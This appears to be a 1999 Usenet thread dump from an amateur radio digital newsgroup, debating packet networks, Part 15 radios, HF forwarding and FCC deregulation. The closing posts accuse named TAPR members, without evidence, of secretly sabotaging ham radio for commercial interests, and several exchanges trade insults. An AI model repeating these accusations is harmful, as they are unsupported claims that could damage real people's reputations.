>Oh, just ONE little thing: the FCC has been known to suspend
>ham licenses for violations in other services.

Here's the data from their website. Yes, I believe the 2.4Ghz band that
they use for these radios is primarily in the ham band n the website
it says that the 'actual frequencies' vary by country. So, I'm not sure
exactly how close a match this is. There may be some bits of the
spread spectrum used that are outside of amateur frequencies. Isn't
there a gap somewhere in the 2.4ghz band. I need to look up a chart
again. It'd be funny if ham had priority, so if any hams complain
of interference, then I'd have to stop using the card.

On their website at

http://www.proxim.com/products/accessory/antapep.shtml

they show like a little parabolic antenna for use with these things. So, it seems like some kind of gain antennas are legal. They call it an 'outdoor antenna' so at least from the ads, it looks like going for gain is legal under some circumstances.

Of course, with these guys there' s no 'content restrictions' as with ham licensed stuff. I'm not sure how much range I could squeeze out of unlicensed spread spectrum equipment on this band. Though this one guy here says he got 4 miles -- probably line of site, but I can get some interesting line of site paths with a little Radio Shack antenna mounting stuff.

In-home/office data rate: 1.6 Mbps
Cordless modem speed: 56 Kbps, ITU-T V.90 & 3COM x2-compliant
Frequency: 2.4 GHz frequency band
Range: Up to 150-feet indoor and 300-feet outdoor
Roaming: Unrestricted throughout coverage area
Maximum computers per network: 10

I have a problem for my test at university, telecommunications course.
The system is a 2-psk with a carrier ar omega0.
The propagation block is modeled by a two-ray signal: one direct ant other
reflected, with an relative amplitude ro, and relative delay tau.
At receiver, the filter is matched at modulation impulse.

the questions are:

1) calculate the power of carrier after the propagation block (assume Vo
the amplitude of carrier)
2) dimostrate that the probability of error is:

P= 1/4 erfc(sqr(W)) + 1/4 erfc((sqr(W)(1-(1/1+ro)2tau/T))

where W=Pr/2NoB

B=1/T (T simbol time)
Pr=Power of carrier before matched filter at after propagation block.
No= bilateral spectrum of noise.

Thanks for all reply.

Charlie:

I am not proposing having the Rules recinded or reduced just for Digital Networking but for all ham radio activities!

What I am saying is that the current Rules are anachronistic emanating from the heady days of the rapid growth of commercial AM radio and the growth of telephony services. Today is a new era. . . Those services no longer need protection from amateurs. I say let's ask the FCC to drop all of those anachronistic Rules.

e.g. if you really want to try to bypass the InterExchange Carriers like ATT/Sprint/MCI/WorldCom/QWest/IXC, etc and compete with their 10 cents or 5 cents a minute rates simply .. . by using a cheap, phone patch and a cheap ham station, why we should just be allowed to go ahead and try it! Similarily for any one who thinks they can compete with WNBC AM and FM using ham radio, let em . . .

Face it. . . those guys no longer need protection from us hams. Which was the real reason for the Rules in the first place. Hams never ever asked for those Rules! The "commercials" had those Rules imposed upon us.

I say, we should petition the FCC to remove as many as the old Rules as possible. Other than granting us frequency bands and power limits, we should be free, free, free . . . to do what we want. DEREGULATE!

Hi Steve,

We will be releasing Wefax '99 for AEA/Timewave TNCs in October. This will be like the Wefax '99 that is out for the Kantronics, and will retail in for $49.95. It will work on the PK-232 and the PK-900 in 2 color fax mode.

We did our first major internal test with it today with the Halifax wefax station and was quite impressed with the results. Having the DSP addon to the PK-232 made it very readable, even with the S7 noise level we had.

Some dumb questions from the peanut gallery, here:

What HF frequency has the most reliability for what distance at
all hours of the day? When we find that answer we would know how far
apart HF Gateway/BBS nodes should be. Or can we have the software
determine the MUF for a given time period? Then we can have primary
and secondary frequencies for the node to use without a lot of time
used scanning for DX. Can we have the network house keeping routines
keep each node aprised of the distance or locations of the other nodes?
MUG/LUF stats are available all the time and normally predictable. There
should be an easy way to get them into the HF node software.

Please understand that I ask these questions as a systems guy, not a
programmer. I hope I haven't gotten to far off the track.

Tony -- KF3BX
predictable. Next is software development to make use of these stats.
After that the

Well, the scoop is that the super duper new generation of BBS's equiped
with the ultra-nifty, but slightly expensive PCTII boxes are able to scan
scan many bands and many HF frequencies. If I want to call one of these
systems, I just need to guess at which frequency is best, usually 20m
lately -- probably 30m or 40m when sunspots aren't so good. And, if
conditions are good, they decode my call and answer on any number
of HF bands. There are a few little issues. Doing this at 100 watts
is pretty easy, but running power with this kind of scanning setup is a
little
involved -- I would guess. That is without buying one of the top of the
line amps.
Which way do you point the beams? Do the beams turn to fixed positions
for each part of the day -- or what. I dont know.

Also, sometimes, with HF, no matter what band you are on, with a
country as big as the US, you just plain can't get there from here. That is
with a modest HF station like mine. Maybe there is some way to predict
HF paths reliably, but I'm not aware of it. You know, the CB-ers call it
skip for a reason -- that is the signals tend to skip lots of places in
between
here and there. So, sometimes you'll hear stations far away, but not up
close.
Or you'll hear them very far away, but slightly closer won't come in.
There's
a lot of strange unpredictability here. This deserves a whole book in
itself.

Maybe if you'd want to systemize this in some way, perhaps then each
HF gateway, would collect statistics on which links were available to it
at what times -- since I think with all the antenna variables and such,
this information, practically can only be measured and not calculated. And,
then transmit this information back to a central hub for the region where
maybe a clever piece of code somewhere could stew all the numbers
together including how much throughput each HF link was capable of and

parcel out the messages in an optimum manner. That means, perhaps, taking data from past connections, and mixing that with some sunspot numbers and the time and date or whatever, and coming up with a sensible forcast that a connection would be good. I don't know, this is all just speculation.

That experiment has already been tried with the CB bands. It didn't work
out.

If you think a lack of regulation is the way to go, check out the CB bands.

Let us know how it goes! That's the only place you are likely to see a
deregulated radio service. The FCC learned their lesson about that quite a
while back.

That would all be really fascinating if I had ever said that Europe was
better than the US.

Perhaps your definition of "rational" includes the practice of imagining
that people said something so you can pester them about it, but for me, that
kind of behavior come up a bit short of "rational".

> Do you make this shit up as you go along?

No, but it certainly does appear that you do. Having fun yet?

> Rational as rational can get.

I have no doubt that you are being just as rational as you can.

I don't think they would touch it with a ten-foot pole, and rightly so. It's intended for groups of hams who are building and operating a large-scale network. I don't think the ARRL is really interested in doing that. That's not what they do.

Wait, I'm confused. These radios cannot be used on the ham bands.
Therefore their only use is on the ham bands?
Did I miss something somewhere?

Ah. I see. Another means to avoid building ham radio network.
But at least in this case one can claim "it is radio".
Can I stick an amplifier and big beam or dish on these?
No, guess not, they are part 15.

> What would you rather have us do? Use the telephone modems?

No, I would rather use ham radio.
Well, not "would rather" but "do".

Some nodes have 8 or 10, others have as many as 100.

There are some internet connected nodes that have more,
but those are via the internet, not ham radio.

As Charles and I have been pointing out for years, the network here
is nearly dead.

> keep each node aprised of the distance or locations of the other nodes?
> MUG/LUF stats are available all the time and normally predictable. There
> should be an easy way to get them into the HF node software.

On HF most systems are frequency agile. i.e. the recievers scan a list
of frequencies when waiting for incoming connections. For outgoing
connections, different frequencies are attempted until a link is
established.
The order of frequencies attempted for a given path changes during
the year and during the sunspot cycle, so the sysop needs to make occasional
changes. Some systems are point to point. Examples:

I have one radio on 7.087 (LSB CLOVER) full time. It is used to link
the Pacific NW to Central and Southern California. The 40M band is
open between these locations nearly 24 hours per day.

My other radio scans various frequencies on the 10/15/20 meter bands.
It is mainly used for a CLOVER link with WB1DSW in New Hampshire.
Optimal conditions might be on any of these bands. During daylight, the
attempt is first made on 10M, then on 15, and last on 20. At night the
10M attempt is not made.

Another example: if N0IA in Florida has NTS traffic for the Pacific NW,
he has the choice of 3 or 4 stations using CLOVER, and another 5 or 6
using PACTOR. Between us we cover "most" bands 100% of the time.
I do not know what N0IA has as his list of attempts, but I do notice
him connect here on 20M most often.

> Please understand that I ask these questions as a systems guy, not a
> programmer. I hope I haven't gotten to far off the track.

The systems implications are "interesting". There need to be lists of which
station scans what frequencies with what capability. Sysops need to

discuss routing changes from time to time. Stations drop out of the net, new stations arrive. Propagation changes, making some links useless and other links improve. Example: with 10M now open most days, I can move a LOT of traffic to/from WB1DSW because the link is very good; we often get actual data rates well above 300 BPS for hours at a time.

We need more participation in these HF nets. Many sysops have shut down because the traffic into and out of their area was grabbed off the ham radio nets and moved to the internet instead. To a large extent, those sysops have not been replaced, and the HF nets are rapidly dying.

<rest deleted>

Does not need an expensive controller. Some folks use PK-232
and standard PACTOR, or use the P-38 CLOVER/PACTOR
boards (can be found used for $200 or less). An old junker
386 or 486 is good enough to run some of the software, some
requires Windows and a faster machine. However it is a good
idea to have a reasonably good HF setup ...

This has been proposed many many times since 1984 with pretty
much the same result: nothing. Same result when ARRL was asked
to help standardize things like addresses and routing designators
within the digital network. In fact, the QST column about "digital
stuff" is now pretty much only about "how to use the internet."

Ball dropped a long time ago, already done bouncing and has
rolled off the court.

3997. My 2 cents on radio/internet/A-types/B-types

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-09-21 00:00:00 UTC
From: k2ul <ostroyNOcfSPAM@att.net>
Message-ID: <15f8eaa0.4d9a65d3@usw-ex0108-059.remarq.com>
Source record: 16469

[Sorry for starting a new thread, but you guys have so many other threads open on this subject that I just couldn't keep track of what I wanted to respond to. Call me Senile, or whateverâ€¦..]

In a recent bulletin, good ole' Chas defined two types of hams, A-types who are internet junkies, and B-types, who are radio junkies. I would propose that there is a 3rd type. The C-type is interested in having fun. Ham radio is a sport to them. After all, in many parts of the world, ham radio is called "Radiosport". Why do you think DX'ing is so popular?

I wish there were some awards for packeteering. The last time I posed this question, ol' Chas called me an LLL, for which I will never forgive him. Nuff sed. Nevertheless, we tend to denigrate those newbie packeteers who send "CQ for QSL" bulletins, but aren't they the ones who are really having fun?

For over thirty years I have been involved in the most basic form of digital ham radio communications: morse code. I use it daily. I love it, because it is fun. It is nice to relax after a grueling business day in the commercial telecoms wars and forget all about "speed, speed, speed." That is what the speed freaks' so-called high speed "digital network" lacks. It is all work and expense, and no sport.

Here on the the USA East Coast we have been upgrading our packet network to FlexNet. A lot of this is still at 1200 baud. So what? It is analogous to upgrading sailboat technology. A sailboat will never compete with an ocean liner, but so what. That isn't the purpose of sailboating. There is much room for improvement in 1200 baud digital networking technology. Upgrading to FlexNet is one example. 1200 baud technology has the advantage of numbers. There are thousands of those TNCs out there, just waiting to be turned back on. Try it. Oh, and our bulletin network doesn't have to put up with quite as much of the insane garbage as found on usenet newsgroups. The upgrade to FlexNet was fun, I learned a lot from it, and it didn't cost me two arms and a leg.

I tried tcp/ip a coupla years ago. I found that the only use for it was connecting to the internet. Big deal. No

ham-to-ham communications going on. Who needs it? And it
was tooooooo slow, anyway.

To those who are obsessed with higher speed "bleeding edge"
technology, I would say "go for it, but don't expect a
whole lot of hams to follow you." They can do the same
thing better on the internet.

Bottom line, I don't agree that SPEED=DigitalHamRadio. I
believe PersonalEnjoyment=DigitalHamRadio. Digital Ham
Radio is NOT going to survive by becoming an appendage to
the internet. It will have to find it's own special space.
Stop trying to do the same stuff that you can do on the
internet. Forget trying to be an amateur ISP. Find
something to do that you CAN'T do on a landline, or
something that you can do BETTER than on the landline.
That's the answer to the future of digital ham radio.

Remember the 50's, when all that left over surplus WW2 junk
was put to new and BETTER use by the ham radio community?

>requires Windows and a faster machine. However it is a good
>idea to have a reasonably good HF setup ...

Yeah, interesting. I'm still a little unclear how these systems
work exactly. I thought the scanning was a feature of the PCTII.
Or, I'm still not exactly clear what the difference between the
PCT2e and the old boxes will be. I'd write some scanning
code myself -- except I'm out of serial ports on that machine,
and need to re-organize stuff properly to get it all together
properly. I got the computers, but I'm dreading setting up
another one.

Me, I think my little 3'el triband beam does okay on 20/15/10, or
at least I seem to be able to connect pretty good to stations I call.
Though I think my 40m antenna still needs to go up a little higher
to really make things happen on that band. (Seems however
'good' my HF setup is, it's never quite good enough.)

I guess the internet forwarding people are still plugging away on the
-- though it seems that the prominent ones I've looked up seem to
have shut down their HF forwarding of PBBS and VHF radio ports
in favor of systems to link people aboard ships to email. Where,
me, I'm not on a boat, so that's not so interesting.

Does anyone forward from the US to Japan, btw? And, come to think
of it, is anyone interested in setting my call KE6I, as a BBS call, and
specifying some stuff to forward to me, so I can test out my new code
with some real data. I have Pactor 1, and a 3 'el beam at 30 feet or
so, and a dipole and Butternut for 40m and 30m on the roof. I can
run the amp, as long as I don't switch bands, and I'm in Berkeley
California. I am properly coordinated, as a full-service BBS, though
I haven't seemed to have shown up on the TAPR list yet.

> I always understood that DGPS used ordinary FSK. (?)

No. MSK is a variation of FSK that uses tones that are as
close together as they can be while still being distinct,
and controls the phase relationship between them.

You can indeed decode it as FSK. It just won't work as well
as a real MSK decoder.

Any decent communications text will discuss MSK in detail.
A particularly good discussion is Pasupathy's article in IEEE
Communications Magazine, July 1979...

Ok, that's 860 nodes in the table. What do you get on a typical US node?

Rob

> These radios run in ham bands?
>
> If not, then what do ham radio rules have to do with anything.
> Oh, just ONE little thing: the FCC has been known to suspend
> ham licenses for violations in other services.

These are not for Ham radio by themselves. Even if the radio operated all within the Ham 2.4 GHz band, it would still be illegal. Thus, the only use of these devices, is to network Ham radio.

For example, a 200 ft high tower with three cards, and antennas mounted to each leg, with 120 degree beamwidth. The 100 mW would be sufficient for a small town and full coverage.

Using this technology a full limit linear at the end of town, can be used by the retirement villages Ham operators, who are restricted from such power by zoning laws. Another example, can be to interlink HF, 2m, and 70cm nodes. Part 97 rule data can flow over Part 15 rule devices with no restrictions.

What would you rather have us do? Use the telephone modems?

Steve

I'm rational, otherwise how could I have identified your fantasy of Europe (and that covers a lot of square miles) being better than the U.S. without 1) ever being there, and 2) never doing any research.

Do you make this shit up as you go along?

Rational as rational can get.

Remember 6-8 months ago when I was ridiculed for suggesting that the tcpip types, almost certainly led by TAPR, would attempt to turn Amateur Radio into another CB Zoo, just to further the "Ham ISP" idiocy?

Well, there you go, folks, right from the horse's mouth.

What I do not understand is why these people do not just migrate off to CB, if that's what they want.

Notice how he thinks the rules should MOST PARTICULARLY be dropped for digital networking?

Of course, we all know as hams that using Radio and following the rules are not as important to us as when handling digital info as it is for analog info.

As long as it's digital, anything goes, right? Ham Radio kiddie-porn, anybody?

Sorry, but I consider anyone who would contemplate undermining the entire amateur radio service in order to facilitate a desire to get "freebee Internet access" as being somewhat less than human.

At best, I might think of you as a self-absorbed, antisocial moron.

Especially when you could get exactly what you claim to want on the CB frequencies, as the European LandLine Lids do.

Gee, I sure would like the ARRL and FCC to wake up and smell the coffee on this issue. These idiots need to have their dream bubbles burst for them, so they can move on to CB and hams can go back to doing ham radio.

4006. First DJ/radio program I've found with a compressor, true auto mixing, and knows the beat.

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-09-21 00:00:00 UTC
From: DJ Rail <dj_rail@yahoo.com>
Message-ID: <sOKF3.77$Ff3.7059@nsw.nnrp.telstra.net>
Source record: 16592

Hey fellow DJs and audioheads...

I can't believe I found what I have been looking for so long!!!! ....

A decent DJ program that does everything you really need and with style.

I'm sick of DJ programs that promise the earth but are too impractical to even consider. Well, now I've found one that truly does what it claims.....

OtsJuke DJ fully handles volume with a built-in AGC, compressor and limiter!

Plus it actually does decent mixes using auto-detected points. It's got this program which you run on ya MP3s and it calculates it all for ya while ya sip a coffee. Buggered if I could be stuffed putting them all in myself anyway.

And there's no 2 second latency issues. Volume, pitch and a tempo shifter all respond instanty. And tis got a 20 band GraphicsEQ in it too, and unlike most it responds instantly!!!!

if anyone figures out how it works out the beat in the song let me know. I thought that was impossible.

I think the best thing is the clear interface it so simple - it's just too easy. with all this extra time saved I guess i'll have a chance to become a bit more creative in my work.

It says on the web page it only got release on the 9/9/99. Must of been a product of all those supposed malfunctions, actually going well! All the good karma made this cool DJ/radio program.

Anyway if ya interested go to http://www.otsjuke.com

The demos pretty quick to download.

Chow,
DJ Rail

I've seen NetRom nodes lists about that long, but of course you could only connect to a few of them. The great majority ended up there from propagation peaks, etc, and were hundreds of miles away with no real path.

US hams are used to this, so be sure to let them know the percentage of nodes on that list that can actually be connected to. (a rough estimate based on experience should do fine)

That would be part of the HF coordinators' job; To get together with the
various SYSOPS, work out such questions and pass on the drill he works out
to all the HF SYSOPs on that net. Nobody has to wonder what to do, or how to
handle things.

4009. Weather fax receiving software for PK 232 wanted

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-09-21 00:00:00 UTC
From: Steve Heller <stheller@koyote.com>
Message-ID: <EbDnNzZDqf0NNIIuLpMGrs2ftn8S@4ax.com>
Source record: 16595

I would appreciate any leads on where I can find some weather fax software that will run with my PK 232 TNC. It doesn't have to be fancy, and I'm not planning to send any weather faxes (if that's an option anyway). Freeware, shareware, or commercial software are all acceptable.

From: MD Miller <mdmiller@nospam.sybercom.net>
Message-ID: <uEOF3.3371$xA5.7639787@firenze.visi.net>
Source record: 16596
Cross-posted to: alt.ham-radio.packet,alt.radio.amateur.club.taparc,rec.radio.amateur.antenna,rec.radio.amateur.digital,rec.radio.amateur.digital.misc,rec.radio.amateur.equipment,rec.radio.amateur.homebrew,rec.radio.amateur.misc,rec.radio.amateur.space

I inherited a Kantronics KPC 3 from my father in law, and I cant find anything that goes with it.

I need to get
1. Copy of a manual and instructions
2. I need to know where to get the software for it
3. What type of AC adapter goes on this unit
4. How to wire up the cabling to a PC
Any and all help would be greatly appreciated
Thanks

4011. Let's Get Serious!

Newsgroup: rec.radio.amateur.digital.misc

A large-scale packet network is and should be treated as a social entity. In most if not all cases, it is the result of an organized effort by a club or organization in the first place, so this should take no great leap of the imagination. The trick is to match up that organization's structure and attitudes with it's goals. This needs to be adjusted in all cases I've seen here in the US, as these organizations are usually patterned after the familiar repeater organizations hams have had going for quite some time, and that model is not really up to the task.

Ask any packet networker who's been at it a while, and he will tell you tales of burnout that would re-curl your short hairs. A few key people do all the work, and everybody else is just along for the ride.
That's great, if you are only planning on putting up a few repeaters, but I believe it is universally recognized that it doesn't work for very long with a large-scale digital network. Once the initial growth spurt peters out, things start going to the dogs.

Clearly, a different way of doing things needs to be looked into.

It's my feeling that there is a need to work on a model for setting up and staffing an organization dedicated to building, developing and maintaining a large-scale digital ham radio network. What specialized jobs besides "HF coordinator" might be needed in order for the network to function as efficiently, effectively and smoothly as possible?

One function that is regularly overlooked is a Funding Czar. Most ham organizations get along just fine by collecting reasonable dues or maybe having an occasional event such as a Ham-Fest in order to put a little something in the kitty. A club that intends to run and maintain a large-scale ham digital net needs to take funding a little more seriously than that. Setting up a small cluster of local repeaters and running an digital RF
network with a 600 mile footprint are two entirely different things. We need to recognize that fact and act accordingly.

A funding Czar's main job would be to oversee the operation of a non-profit organization. As with all non-profit organizations, it's main purpose would be to generate funding and materials in order to perform a public service. (emergency communications and scientific research, in this case) For this reason, a professional should be hired and told that he will be generating his own salary. Work out a legal and satisfactory cut, familiarize him with your goals, and turn him loose.

There are numerous ways for non-profits to generate funds, including accepting donations of radio equipment and even towers from local corporations and government agencies that are upgrading to new equipment.

You get a stack of UHF Micors and rolls of used but good heliax, they get a tax write-off for the market value of the equipment without having to market it. Sell it all to your in-house networkers at a bargain price, or to other hams at the regular market price.

Why not pay a few folks to clean up, recrystal and calibrate that stack of rigs, each matched up with a modem or TNC for true "plug 'n play" medium to high speed networking that can be done without a service monitor? Doing this solves the "expert burnout" problem quite handily, and puts you in a good position to have ready spares on hand for rapid repair of a node that develops trouble. Just jerk out the whole setup and replace it with a new, perfectly calibrated one and put the malfunctioning modem/radio pair in the junk pile for parts or possible repair. An appliance operator job. No burnout.

Since you can now afford to; Build parallel, redundant links so that the loss of one node will not interrupt service, instead only slowing things down a bit until it can be replaced or repaired. Bulletproof your network.

And so on...

How about a "maintenance coordinator", who ships off the replacements to where they need to be and assists the node-ops with technical questions over the phone or email?

Let's get serious!

4012. help for a problem

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-09-21 00:00:00 UTC
From: kk <kkmdg@hotmail.com>
Message-ID: <01bf045e$6a1d3840$ea1b0497@default>
Source record: 16598
Cross-posted to: alt.backrubs,rec.radio.amateur.digital.misc

I have a problem for my test at university, telecommunications course.
The system is a 2-psk with a carrier ar omega0.
The propagation block is modeled by a two-ray signal: one direct ant other
reflected, with an relative amplitude ro, and relative delay tau.
At receiver, the filter is matched at modulation impulse.

the questions are:

1) calculate the power of carrier after the propagation block (assume Vo
the amplitude of carrier)
2) dimostrate that the probability of error is:

P= 1/4 erfc(sqr(W)) + 1/4 erfc((sqr(W)(1-(1/1+ro)2tau/T))

where W=Pr/2NoB

B=1/T (T simbol time)
Pr=Power of carrier before matched filter at after propagation block.
No= bilateral spectrum of noise.

Thanks for all reply.

Source record: 16474

Charles:

Think about it . . . changing the Rules and deregulation is how good ole packet radio got started in the first place!

I was just trying to get some "new think" going. Heh, heh. We will need it for the next millenium!

Hey I'm an old timer too, but probably not as long as you though.

I'm licensed since 1957 (42 years), held four different calls, amateur Extra, hold a couple of FCC commercial licenses, GROL & Commercial Radiotelegraph, T2 both with Radar Endorsements. I'm a long time member of ARRL, QCWA
(#21317, 40 year pin), FISTS (#5946).

And so I think I have paid my dues and I have a right to try and shake things up! Heh, heh.

Ham packet radio got started by someone deregulating and changing the Rules. Charlie you wouldn't even be operating on packet today if some pioneers had not busted the regulators to change the Rules and reduce the Regulation of our service!

Hey, I was in on amateur packet at the "start" in Montreal (VE2POB) & Toronto (VE3DZK) back in the 70's, when Dr. John DeMercado, then the Director General of the Canadian DOC (The chief Regulator!), which then governed all Canadian Radio licencing, decided by himself to deregulate, to allow packet on radio. (The FCC did not do this in the States for a long time later! several years as I recall.).

Then Dr. John, the Chief Regulator created the world's first Morse Code Free amateur license. More deregulation!

He created the Canadian Digital Amateur Radio Operators Certificate. Well not many got that license, heh, heh! Talk about Morse Code tests keeping out the unwashed. There was no Code in that test, heh, heh. Dr. John made the exam for that certificate so tough, the questions and math on queueing systems and packet routing algorithms were so tough that only computer scientists or computer engineers could pass, heh, heh. BTW . . . Dr. John had been a graduate student of Leonard Klienrock's at UCLA.

It turns out that Dr. John was indeed a Ph.D. Computer Scientist and he had a DEC LSI PDP11 (On loan from the Canadian government?) in his basement and he wanted to do packet radio without having to learn the code, himself. Heh, heh.! I don't think that Dr. John even knew what bandwidth was, in meetings that I attended in Ottawa where he spoke, he kept refering to

bandwidth in units of "characters per second"! Heh, heh. And . . . he was regulating radio.

Then the Vancouver Canada VADC group developed the TNC1 to spread packet wider in Canada.

Some time after that the FCC deregulated and legalized packet in the States and some strange group in Tuscon, named TAPR picked it up created a TNC2 and made the design available to Martin F. Jue at MFJ, and the rest is history. .. .

But Charlie. . . . I was there at the birth of ham packet radio, and I am here to tell you that it was created by deregulation and changing of Rules. Now the rest of the world is passing us all by!

We gotta do something to fix it, and I believe that changing the Rules, which is what Dr. John did in Canada just to get it started in the first place is the only way to fix the problems that you Charlie keep bitching about!

Dammit Charlie all you can do is complain about folks siphoning off traffic to the Internet. I say lets use that to our advantage.

We just can't keep doing it the same old way! If we do, it'l be the end for sure. And . . . those Europeans with their more socialistic approach to things are not going to help us Americans, it's not the American way. Here in America we are leading the world with the Internet. I say let's couple ham radio and the Intenet and get turbo charged.

Thoughts?

Dan:

Hey man, you'r using tcp/ip right now on this band, and having fun. Heh, heh.

What I wonder is we hams have to spend $20 per month for dial up Internet access at speeds up to 50 kbps when we could have it all for free! What do those ISP's do for their money anyway?

With our own ham operated high speed wireless access network we could duplicate what they are doing for ham licencees. All we need is a couple of changes to the Rules to make it workable. Then it would become BIG! Ham Radio and the Internet in collaboration not fighting each other! What a concept!

See another post of mine under the Re: the application mantra down the newsgroup a little ways.

> Did I miss something somewhere?

OK, I'll talk slower. These radio's cannot be used in the Ham bands.

> > For example...

> Is this using a ham radio band?

No. Is English your second language?

> Ah. I see. Another means to avoid building ham radio network.
> But at least in this case one can claim "it is radio".
> Can I stick an amplifier and big beam or dish on these?
> No, guess not, they are part 15.

A typical installation would be an Antenna-Vision(tm) type antenna
at a home, or a flat antenna in an apartment window. You can do
whatever the rules say. I think your English is good enough that
you can read them yourself.

> > What would you rather have us do? Use the telephone modems?
>
> No, I would rather use ham radio.

What's that going to do for us? Radio is Radio isn't it? Part 15 is
the same law as Part 97: CFR Title 47. One Title of 50 Titles. Why do
you only focus on one page of one chapter of US Law, that in total,
is the size of the Dallas Yellow pages?

Isn't our hobby about radio?

You and your other brother Chuckles keep getting narrower and narrower
in your definition of Radio every posting. Next you will say we can
only use Morse Code at 20 Wpm, before we will meet with your approval?

Here's the deal... Who gives a squat what shape you think the hobby
should be. If you don't like what other Hams are doing, piss off.
Your vote just doesn't count. No one here is going to be converted
back to the 80's for packet technology.

There's more to Ham radio than a packet BBS at 30 baud effective.

Hank:

Well it all depends upon people! Organizations do nothing but preserve the status quo. We need a "champion" at ARRL.

Ham packet radio needs a guy like ole George Hart W1NJM at ARRL to save packet radio.

The American Computer Radio Relay League sounds nice doesn't it.

Hey all of our University EE Departments have now become Departments of Electrical and Computer Engineering, why not the ARRL?

I'm reminded of the story I heard a few years ago about the fella who simply had enough and stood up at a combined IEEE Computer Society and Association of Computing Machinery (ACM) meeting and shouted out, "We didn't have slide rule engineers, why do we need computer engineers?" Heh, heh.

Well the times are a changin. The new millenium is only a few months away, and technology and progress waits for no man!

If we don't find a way to use all of that huge bandwidth allocated to us we'll be left in the dust.

Regards,

Peter AB4BC

Yes and no ... we worked with the ARRL and the FCC to get the rules
changed (85-105 for example), but did start operating "at the edge of
the rules" prior to 85-105.

Well ... it was mostly old timers that got the "modern" digital modes
off the ground. I was licensed in 1953, for example, and a lot of the
other folks had been around about as long ... or longer ...

There are plenty of awards available for contacts made using
the digital modes. WAS, WAC, DXCC, et al just for starters.

No awards for using the internet, and very few for using other
people's stations to make the contacts.

If you think hams should get awards for posting CQ bulletins
and collecting responses, my only comment is that I GET THE
AWARD TOO because my station did the actual transmitting
on ham radio. That internet stuff ain't ham radio ... <grin>.

Now you can "never forgive" me too ... there is no "DXing"
over the internet ... no RADIO awards ... no QSOs. If you
think there might be, you are fer sure a Land Line Lid.

ATT offers Family service for up to five users. Calls to your home phone from your mobile phone in the primary service area a free. With a second line already dialed in to your ISP, and that modem connected to an answering modem on your main line, you should be able to do wireless internet all day for free from car or backpack.

Just an alternative to having to put it together yourself on amateur bands.

I have a little pen tablet that can be worn on the back. I proposed advertising my own business or others on the wearables newsgroup. It has come to pass and people are roller skating around advertising things. Neat.

You could offer anyone an instant web search wherever you happened to be. Free. with ads, or via credit card for service on demand. A map server would be particularly useful. Wherever you go, there you are. Someone asks for directions and they get a map.

I also have a portable printer system with no backpack yet.

Hank:

Tnx OT! Heh, heh.

Well. . . . I say that you guys were too tentative back then. You didn't push hard enough to have the Rules changed to allow and enable packet fast enough here in the States!. Ham's did not do it! They were far too conservative and mired in the past!

It took a revolutionary Regulator like Dr. John DeMercado of Canada's DOC to cut packet radio free from regulatory handcuffs and bindings and turn it loose! Now you are all crying because we need a new revolution. Change is constant Hank. Hello! The Internet is here.

The FCC and the ARRL were especially timid back when ham packet got started! They watched timidly across the border to see if the Canadian experiment with ham packet radio would cause blindness in Novices , or something . . . .. whatever!

Hey we can't even get new codes like PSK31 off the ground here without asking the Pope for permission! We have to leave it to the staid ole Brit's and the Spanish to introduce new things to our bands! What hope is there for Spread Spectrum? And . . . now the whole commercial world has come to accept and to deploy CDMA everywhere, and hams are sitting on their buts timidly worried about whether we should change the Rules to allow it.

Hank, don't give me that "crap". I know better. I hung out on the NTS CW traffic nets for years handling messages by hand.

Face it! Ham's are generally just a bunch of "old fogies" to old, tired, and mired in ancient traditions to take a chance on something new like their forefathers did with short waves back in the early days of radio!

I say we need "new think" for the new millenium! Hello ! ! The year 2000 is only 4 months away. Let's build a modern packet network.

Let's change the Rules, heck if we can't change em, then maybe we should get reckless and break em! [I'll bet Wayne Green loves this, heh, heh.]

Don't tell me that ham's can take credit for amateur packet radio, it was that unlicensed computer scientist, MerCado in Canada who changed the Rules, deregulated to get it all started! Where were the Ham Pioneers then? Bah, humbug!

Now if only we could get Charlie Brabbam to stop bitching and get off his ass and do some "new think" and stop spreading misinformation and half truths, then we could just begin to get somewhere!

If TOM were still around he would probably apply both the Wouf Hong and the Rettysnitch to Charlie.

Thoughts anyone?

Steve is just following the TAPR "party line".

For some mysterious reason, the "movers and shakers" at TAPR are endlessly fascinated with the idea of moving as much ham radio traffic as possible off of the ham bands.

Hardly seems like an "amateur radio" attitude at all, does it?

They'll do it with the telephone; they'll even do it with non-ham radio! The main thing is to get that digital ham radio traffic off of those ham bands.

Yes, I know it's totally clueless, contrary to the best interests of the ham radio community, and abysmally ignorant - That's TAPR for you! - But it's really only ignorant and clueless if you are working FOR ham radio...

Personally, I strongly suspect that a few of the key players at TAPR are working for the "little LEO" people, or some other commercial communications outfit that wants to see hams lose as much spectrum as possible, particularly the VHF/UHF stuff and higher.

Didn't Greg Jones of TAPR put in a year or so working with the LEO folks in England? Wasn't it right after he returned from England that he became so down on the idea of hams using radio to communicate, and started promoting "wirelines" and tcpip despite the fact that it was (and is) against the best interests of US hams wanting to build and maintain a ham radio digital network and USE that spectrum?

Maybe somebody could clarify this possible TAPR/Little LEO connection. If true, it certainly would explain a lot about the attitudes we see coming out of TAPR, under it's present "leadership".

Ever notice how the real "movers 'n shakers" in the LandLine Lid community tend to work for commercial communications outfits that would, in turn, tend to benefit when hams lose spectrum? This might be a coincidence - Or it might not.

Where does Phil Karn work?

The spectrum we have allocated to our use is worth billions of dollars. People have infiltrated organizations and committed acts of deliberate sabotage for far less in the past. It wouldn't surprise me to find out that it's happening with the digital ham radio network in the US right now. After all, the ham digital stuff is the one and only ham radio activity that has potential to thoroughly "populate" the UHF and higher bands that most of the spectrum grabbers are salivating over. TAPR would be the natural target to infiltrate and build a base for that kind of frequency-grabbing sabotage.

All you have to do is discourage hams from using radio to move digital information with any means at your disposal, up to and including advocating that all the data be moved by non-ham means at every opportunity. As long as the UHF and higher bands are made empty so their use by hams can be questioned... That's the main thing.

And that's exactly what TAPR has accomplished under Greg's "leadership".

Anybody else have a good explanation as to why TAPR continued it's "LandLine Lid" promotion after it had become plain several years ago that their policies and what they advocated was damaging and undercutting the US packet network, causing thousands of US packet ops to lose heart, and rapidly depopulating the VHF/UHF bands in the US?

Anybody else have a better explanation for TAPR's anti-ham attitudes?

When Steve decided that non-hams means was the way to go, he was of course being a lousy ham, but he was being a Great TAPR clown.

Hopefully I'm wrong in suspecting this, and the actions of Greg Jones and TAPR can be chalked up to simple ignorance and incompetence instead of the deliberate sabotage of the amateur radio service.

